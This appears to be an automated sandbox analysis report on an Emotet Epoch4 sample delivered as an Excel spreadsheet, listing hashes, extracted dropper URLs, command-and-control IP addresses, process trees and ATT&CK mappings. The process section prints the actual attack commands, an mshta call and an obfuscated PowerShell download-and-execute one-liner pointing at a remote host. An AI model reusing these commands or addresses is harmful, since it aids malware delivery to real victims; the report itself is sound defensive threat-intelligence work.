emotet | 57449a2fc67cc3dd61c322753f14492ce47a4d9ebda40385905794d2d66ca0dc

General

Target

Form - Jan 28, 2022.xls
Size

47KB
MD5

e35cd89022ef7b43a28d8bc20e3fb972
SHA1

45a4e3c25405ad842147b39b4e3a86bcb0460fb7
SHA256

57449a2fc67cc3dd61c322753f14492ce47a4d9ebda40385905794d2d66ca0dc
SHA512

812788761718bb96ff7b10c7b1cc6ab4000b464137c9d2a609b8a0ad19e491b9a460b960b89853e7f8339d59c5ac7d7060294f7c7fd39da2511438eb6b92e159

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3216	3512	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 4 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

37 3200 mshta.exe
38 2748 powershell.exe
40 2748 powershell.exe
53 2336 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

2432 rundll32.exe
4000 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Eruuxqnikayaail\nibdzipaqhlgr.pyy rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3592 3200 WerFault.exe mshta.exe

flow	pid	process
37	3200	mshta.exe
38	2748	powershell.exe
40	2748	powershell.exe
53	2336	rundll32.exe

pid	process
2432	rundll32.exe
4000	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Eruuxqnikayaail\nibdzipaqhlgr.pyy	rundll32.exe

pid	pid_target	process	target process
3592	3200	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3512 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
2748	powershell.exe
2748	powershell.exe
3592	WerFault.exe
3592	WerFault.exe
3592	WerFault.exe
3592	WerFault.exe
3592	WerFault.exe
3592	WerFault.exe
3592	WerFault.exe
3592	WerFault.exe
3592	WerFault.exe
3592	WerFault.exe
3592	WerFault.exe
3592	WerFault.exe
3592	WerFault.exe
3592	WerFault.exe
2748	powershell.exe
2336	rundll32.exe
2336	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 2748 powershell.exe
Token: SeDebugPrivilege 3592 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	2748	powershell.exe
Token: SeDebugPrivilege	3592	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
3512	EXCEL.EXE
3512	EXCEL.EXE
3512	EXCEL.EXE
3512	EXCEL.EXE
3512	EXCEL.EXE
3512	EXCEL.EXE
3512	EXCEL.EXE
3512	EXCEL.EXE
3512	EXCEL.EXE
3512	EXCEL.EXE
3512	EXCEL.EXE
3512	EXCEL.EXE
3512	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 3512 wrote to memory of 3216	3512	EXCEL.EXE	CMD.EXE
PID 3512 wrote to memory of 3216	3512	EXCEL.EXE	CMD.EXE
PID 3216 wrote to memory of 3200	3216	CMD.EXE	mshta.exe
PID 3216 wrote to memory of 3200	3216	CMD.EXE	mshta.exe
PID 3200 wrote to memory of 2748	3200	mshta.exe	powershell.exe
PID 3200 wrote to memory of 2748	3200	mshta.exe	powershell.exe
PID 2748 wrote to memory of 3024	2748	powershell.exe	cmd.exe
PID 2748 wrote to memory of 3024	2748	powershell.exe	cmd.exe
PID 3024 wrote to memory of 2432	3024	cmd.exe	rundll32.exe
PID 3024 wrote to memory of 2432	3024	cmd.exe	rundll32.exe
PID 3024 wrote to memory of 2432	3024	cmd.exe	rundll32.exe
PID 2432 wrote to memory of 4000	2432	rundll32.exe	rundll32.exe
PID 2432 wrote to memory of 4000	2432	rundll32.exe	rundll32.exe
PID 2432 wrote to memory of 4000	2432	rundll32.exe	rundll32.exe
PID 4000 wrote to memory of 2024	4000	rundll32.exe	rundll32.exe
PID 4000 wrote to memory of 2024	4000	rundll32.exe	rundll32.exe
PID 4000 wrote to memory of 2024	4000	rundll32.exe	rundll32.exe
PID 2024 wrote to memory of 2336	2024	rundll32.exe	rundll32.exe
PID 2024 wrote to memory of 2336	2024	rundll32.exe	rundll32.exe
PID 2024 wrote to memory of 2336	2024	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Form - Jan 28, 2022.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3512

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3216

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3200

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3200 -s 1660
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3592

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2748

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:3024

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2432

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4000

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Eruuxqnikayaail\nibdzipaqhlgr.pyy",klUxLNJYT
8⤵
- Suspicious use of WriteProcessMemory
PID:2024

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Eruuxqnikayaail\nibdzipaqhlgr.pyy",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2336

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
568ddf4d26baa3fadb6f5903e18119cc

SHA1
c556ef89517f7b5cc51fa96d042958eb553e6519

SHA256
74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

SHA512
98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

Download Submit
\ProgramData\QWER.dll
MD5
568ddf4d26baa3fadb6f5903e18119cc

SHA1
c556ef89517f7b5cc51fa96d042958eb553e6519

SHA256
74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

SHA512
98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

Download Submit
\ProgramData\QWER.dll
MD5
568ddf4d26baa3fadb6f5903e18119cc

SHA1
c556ef89517f7b5cc51fa96d042958eb553e6519

SHA256
74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

SHA512
98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

Download Submit
memory/2336-633-0x0000000004A80000-0x0000000004AA5000-memory.dmp

Filesize
148KB

Download
memory/2336-630-0x0000000004490000-0x00000000044B5000-memory.dmp

Filesize
148KB

Download
memory/2432-598-0x0000000004D00000-0x0000000004D25000-memory.dmp

Filesize
148KB

Download
memory/2748-280-0x00000120C0AE0000-0x00000120C0B02000-memory.dmp

Filesize
136KB

Download
memory/2748-532-0x00000120C0B30000-0x00000120D8C40000-memory.dmp

Filesize
385.1MB

Download
memory/2748-327-0x00000120D8DA0000-0x00000120D8DDC000-memory.dmp

Filesize
240KB

Download
memory/2748-340-0x00000120D9330000-0x00000120D93A6000-memory.dmp

Filesize
472KB

Download
memory/2748-375-0x00000120C0B30000-0x00000120D8C40000-memory.dmp

Filesize
385.1MB

Download
memory/2748-469-0x00000120C0B30000-0x00000120D8C40000-memory.dmp

Filesize
385.1MB

Download
memory/3512-120-0x00007FF7F2D00000-0x00007FF7F2D10000-memory.dmp

Filesize
64KB

Download
memory/3512-118-0x00007FF7F2D00000-0x00007FF7F2D10000-memory.dmp

Filesize
64KB

Download
memory/3512-131-0x00007FF7F2D00000-0x00007FF7F2D10000-memory.dmp

Filesize
64KB

Download
memory/3512-130-0x00007FF7EF4D0000-0x00007FF7EF4E0000-memory.dmp

Filesize
64KB

Download
memory/3512-121-0x00007FF7F2D00000-0x00007FF7F2D10000-memory.dmp

Filesize
64KB

Download
memory/3512-132-0x00007FF7EF4D0000-0x00007FF7EF4E0000-memory.dmp

Filesize
64KB

Download
memory/3512-669-0x00007FF7F2D00000-0x00007FF7F2D10000-memory.dmp

Filesize
64KB

Download
memory/3512-668-0x00007FF7F2D00000-0x00007FF7F2D10000-memory.dmp

Filesize
64KB

Download
memory/3512-667-0x00007FF7F2D00000-0x00007FF7F2D10000-memory.dmp

Filesize
64KB

Download
memory/3512-666-0x00007FF7F2D00000-0x00007FF7F2D10000-memory.dmp

Filesize
64KB

Download
memory/3512-119-0x00007FF7F2D00000-0x00007FF7F2D10000-memory.dmp

Filesize
64KB

Download
memory/4000-603-0x00000000032B0000-0x00000000032D5000-memory.dmp

Filesize
148KB

Download
memory/4000-629-0x00000000056A0000-0x00000000056C5000-memory.dmp

Filesize
148KB

Download
memory/4000-625-0x0000000005640000-0x0000000005665000-memory.dmp

Filesize
148KB

Download
memory/4000-614-0x0000000005490000-0x00000000054B5000-memory.dmp

Filesize
148KB

Download
memory/4000-612-0x0000000005430000-0x0000000005455000-memory.dmp

Filesize
148KB

Download
memory/4000-610-0x00000000053D0000-0x00000000053F5000-memory.dmp

Filesize
148KB

Download
memory/4000-607-0x0000000004F20000-0x0000000004F45000-memory.dmp

Filesize
148KB

Download
memory/4000-605-0x0000000004D50000-0x0000000004D75000-memory.dmp

Filesize
148KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads